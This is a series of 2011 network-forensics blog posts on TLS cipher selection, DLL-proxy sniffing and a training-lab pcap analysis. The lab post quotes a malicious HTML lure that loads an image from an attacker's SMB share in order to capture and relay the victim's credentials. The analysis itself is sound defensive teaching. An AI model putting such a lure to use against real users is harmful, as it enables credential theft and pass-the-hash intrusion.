Version: TLS 1.0 (0x0301)
Random
gmt_unix_time: Jan 30, 2011 10:10:51.000000000
random_bytes: D75BFFDF5F2DB997C8CBA54DE8B57B76AAC4EF2D16E593D5...
Session ID Length: 0
Cipher Suites Length: 24
Cipher Suites (12 suites)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)

This gives the Facebook server multiple options when it comes to choosing the key exchange algorithm, including both RSA and ephemeral Diffie-Hellman (DHE).

Looking closer at the server hello from Facebook we see this:

Secure Socket Layer
TLSv1 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 74
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 70
Version: TLS 1.0 (0x0301)
Random
gmt_unix_time: Jun 8, 2028 22:15:05.000000000
random_bytes: 3CD8EB6009A4CA6ECEAE9FC514DEC967C848FC2B0A5406CF...
Session ID Length: 32
Session ID: 54DFE1534E829C3AC0CF0D604C0AEF7973DAA64367870057...
Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)
Compression Method: null (0)

Facebook selects RSA for key exchange and RC4 for session encryption. This makes the HTTPS traffic to Facebook fairly easy to decrypt for Mark Zuckerberg, or whoever would be in possession of the private RSA key used by Facebook.

By the way, here is a good YouTube video on how to enable SSL encryption on your Facebook account.
And here is a blog post that explains how to decrypt SSL traffic with Wireshark.

Posted by Erik Hjelmvik on Sunday, 30 January 2011 21:21:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=111CCCA


Proxocket - A Winsock Proxy Sniffer

There are many ways to capture network traffic on Windows machines. The most common way is undoubtedly to use a link-layer driver such as WinPcap's NPF-driver or Microsoft's Network Monitor driver. These drivers are typically used by applications like Wireshark and Microsoft's Network Monitor to provide low level network access, so that packets can be captured without having to pass through the TCP/IP stack.

Another sniffing option is to use Raw Sockets, which can be used to capture traffic one more layer up the stack (between the Link and Internet layer). Raw Sockets is, however, a topic that I plan to cover more in detail on this blog in the future so I will not dwell any more on it in this post.

What I really wanna write about in this blog post is a third way to capture network traffic: Winsock proxy capturing.

Luigi Auriemma has built a great tool called Proxocket, which can be used to capture calls between an application and the Winsock functions in Windows. Proxocket is simply two DLL files (ws2_32.dll and wsock32.dll) which should be placed in the same directory as the .exe of the application for which you wanna monitor network traffic. These DLL files act as proxies to the real Winsock DLL files (with the same names), which reside in "C:\Windows\System32\". Placing Luigi's proxy DLLs in the same folder as the .exe file causes the application to load the proxy DLLs rather than the real Winsock DLLs. Proxocket relays all packets between the application and the real Winsock DLLs, but every relayed packet is also written to a .cap file by Proxocket.

Proxocket injects between application and Winsock

Not only does Proxocket let you sniff the traffic to and from an application without having to load a new network driver or raw socket sniffing application, it also makes it possible to sniff traffic going to localhost. But why would someone wanna establish a network connection to localhost, you might ask. I have personally used localhost sockets in my applications when I have code running in different processes or threads and need an effective way for them to exchange data in an asynchronous manner (NetworkMiner does not use localhost sockets for inter-process communication though). I'm actually pretty sure many software developers use localhost sockets when they need to provide data exchange between different processes.
Localhost connections are also used when running Stunnel or TOR proxies on your local machine, which encrypt all outgoing traffic. You can thereby use Proxocket in order to capture the network traffic BEFORE it is encrypted by Stunnel or TOR.

I have found Proxocket very practical when I need to capture traffic from just a single application. I did, for example, use Proxocket when collecting training data for obfuscated protocols (like BitTorrent's MSE protocol and Skype) when laying the grounds for my "Breaking and Improving Protocol Obfuscation" report.

By the way, Luigi is probably primarily known for being the number one vulnerability discoverer of all time according to X-Force in 2008 (I'm not sure he still holds the #1 spot though). He seems to have a special interest for finding and reporting bugs in computer games, and I do suspect Proxocket comes in quite handy when doing that type of vulnerability analysis.

Posted by Erik Hjelmvik on Thursday, 20 January 2011 20:05:00 (UTC/GMT)

Tags: #Netresec #Sniffing #TOR

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1119573


Analyzing the TCP/IP Weapons School Sample Lab

Richard Bejtlich published a sample lab from his TCP/IP Weapons School class two years ago. I haven't yet had the opportunity to take this class, but I have taken a look at the pcap file that Bejtlich included in this sample lab.

The introduction provided to this lab in the Student Workbook outlines the incident:

Samantha is back with another potential security incident. She said she received another email from her friend Samuel that resulted in suspicious computer activity. She clicked on a URL but didn’t see anything interesting. Again she wonders if her computer was "hacked".

I decided to load the pcap file into NetworkMiner to see what it can unveil.

The "Messages" tab in NetworkMiner provides quick access to the email Samantha received:

NetworkMiner Professional 1.0 Messages tab showing extracted email

The message body of the email says:

Hi Samantha,

Sorry that last link didn't work. Here is a new cool Web page!

Samuel

Attached to the email is also a file called “cool_web_page.html” (see “filename” attribute in the screenshot above). This file is already reassembled and extracted to disk by NetworkMiner when it loaded the pcap file. The easiest way to locate the file is to open the “Files” tab, sort on filename and scroll down to “cool_web_page.html”. Right-clicking the file and selecting “Open folder” causes NetworkMiner to open up the folder on the computer where the file was extracted.

Warning: it is almost never a good idea to select “Open file” in NetworkMiner, since that would cause the potentially malicious file to be executed. Only use this option if you are absolutely sure that the extracted file isn't malicious, or if you wanna perform behavioral analysis of the malicious code in a sandboxed environment.

The contents of the cool web page are:

<HTML>
<BODY>
<TITLE>Why do you open these links?!?</TITLE>
<IMG SRC="\\10.1.1.6\share2\1.jpg">
<H1>Boo!</H1>
</BODY>
</HTML>

This sure looks fishy to me, since the image tag tells the browser to load an image from an SMB network share rather than a web server. Luckily NetworkMiner parses the SMB (a.k.a. CIFS) protocol, so any file that has been transferred over SMB will show up in the files tab. No file transfer using SMB can be seen there though. The “Sessions” tab, on the other hand, confirms that there has been SMB communication between Samantha's computer (192.168.230.4) and the suspicious machine with IP 10.1.1.6.

Note: NetworkMiner displays the SMB protocol as “NetBiosSessionService”, which is the underlying protocol that provides the session layer for SMB.

NetworkMiner Professional 1.0 Sessions tab with SMB session

Interestingly enough we do not only see an SMB session from Samantha's computer to the suspicious machine, but also a second SMB session where the suspicious machine seems to connect back to Samantha's computer. This is odd, it causes me to suspect that a an SMB relay attack (MITM + pass-the-hash) could have been performed. A quick look at the credentials tab verifies this suspicion, since I can see that the exact same credentials that are sent from Samantha's computer (user account “samantha” and an HMAC) are replayed by the suspicious machine back to Samantha's computer. Hence the suspicious machine is authenticating itself to Samantha's computer by using her own credentials.

NetworkMiner Professional 1.0 Credentials tab with NTLMv2 login

This is pretty much as far as I could get by only using NetworkMiner. To see what actions the attacker did after performing the pass-the-has attack one would have to look at the network traffic on a packet level (with for example Wireshark, tshark or tcpdump). Doing so will for example reveal a failed attempt at accessing the IPC$ share on Samantha's computer.

This blog post could have ended here, but I also discovered some interesting excess information when analysing Bejtlich's TCP/IP Weapons School capture file. There were multiple SSL sessions in the pcap, most of them using the standard TCP 443 port. But the protocol identification functionality provided in NetworkMiner Professional also identified some SSL sessions going to servers on TCP ports 9001 and 8192. To me these SSL session look very much like TOR traffic. The encryption functionality in TOR is actually designed to mimic the TLS handshake of Firefox+Apache, but they use self signed certificates rather than certs signed with by a trusted CA.

NetworkMiner extracts all certificates used in the SSL handshakes to disk, so it is easy to inspect them by looking in the files tab. Just sort the files on the Protocol column and look for “TlsCertificate” in order to quickly locate the extracted certificates.

NetworkMiner Professional 1.0 Files tab with extracted TOR/SSL certificates

Posted by Erik Hjelmvik on Saturday, 15 January 2011 14:37:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #SMB #TOR #SSL

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=11100F0


The Netresec Blog is now Online!

This is the first blog post of the Netresec blog.

The topics that will be covered on this blog will mostly be about network security and network monitoring. Related fields like "normal" IT security, protocol design, software development and digital forensics will most likely also be touched upon at times.

Posted by Erik Hjelmvik on Monday, 03 January 2011 18:45:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=111008C

twitter

NETRESEC on Twitter

Follow @netresec on twitter:
» twitter.com/netresec


book

Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)